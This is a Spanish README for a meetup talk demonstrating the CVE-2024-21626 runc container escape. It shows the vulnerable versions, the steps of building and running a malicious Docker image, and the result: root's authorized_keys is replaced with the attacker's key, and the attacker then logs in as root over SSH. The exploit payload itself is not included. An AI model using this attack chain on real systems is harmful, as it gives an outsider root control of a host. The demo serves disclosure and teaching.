
Demostración del exploit de escape de contenedor CVE-2024-21626 que permite acceso root al host mediante una imagen Docker maliciosa, con un escenario de ataque paso a paso con fines educativos.
Demo para la lightning talk del Container Runtime Meetup #5.
Conforme a la información pública, su propósito es divulgar el peligro del ataque; queda estrictamente prohibido su uso malintencionado.
Máquina registrada como victim-server en el ssh_config del portátil de demostración.
ssh victim-server
Información de versiones que son requisito previo para verse afectado:
ubuntu@victim-server:$ docker --version
Docker version 20.10.25+dfsg1, build b82b9f3
ubuntu@victim-server:$ runc --version
runc version 1.1.10+ds1
commit: 1.1.10+ds1-1
spec: 1.1.0
go: go1.21.3
libseccomp: 2.5.4
Igualmente
ssh attacker-server
ubuntu@victim-server:~$ git clone [email protected]:laysakura/CVE-2024-21626-demo.git
ubuntu@victim-server:~$ cd CVE-2024-21626-demo/
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker build -t myimage .
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker run -it myimage
/root/.ssh/authorized_keys ha sido reemplazado sin que te des cuenta por la clave pública del atacanteNo se hace nada aquí porque no era intencionado, pero se muestra el comando para verificar la situación.
ubuntu@victim-server:~$ sudo cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKPHHGSytV6bL1ryaEKE9XNWN23piXdzsI3Rzxe20IF6 ubuntu@attacker-server
attacker@attacker-server:~$ ssh -i .ssh/id_ed25519 root@victim-server
root@victim-server:~# id
uid=0(root) gid=0(root) groups=0(root)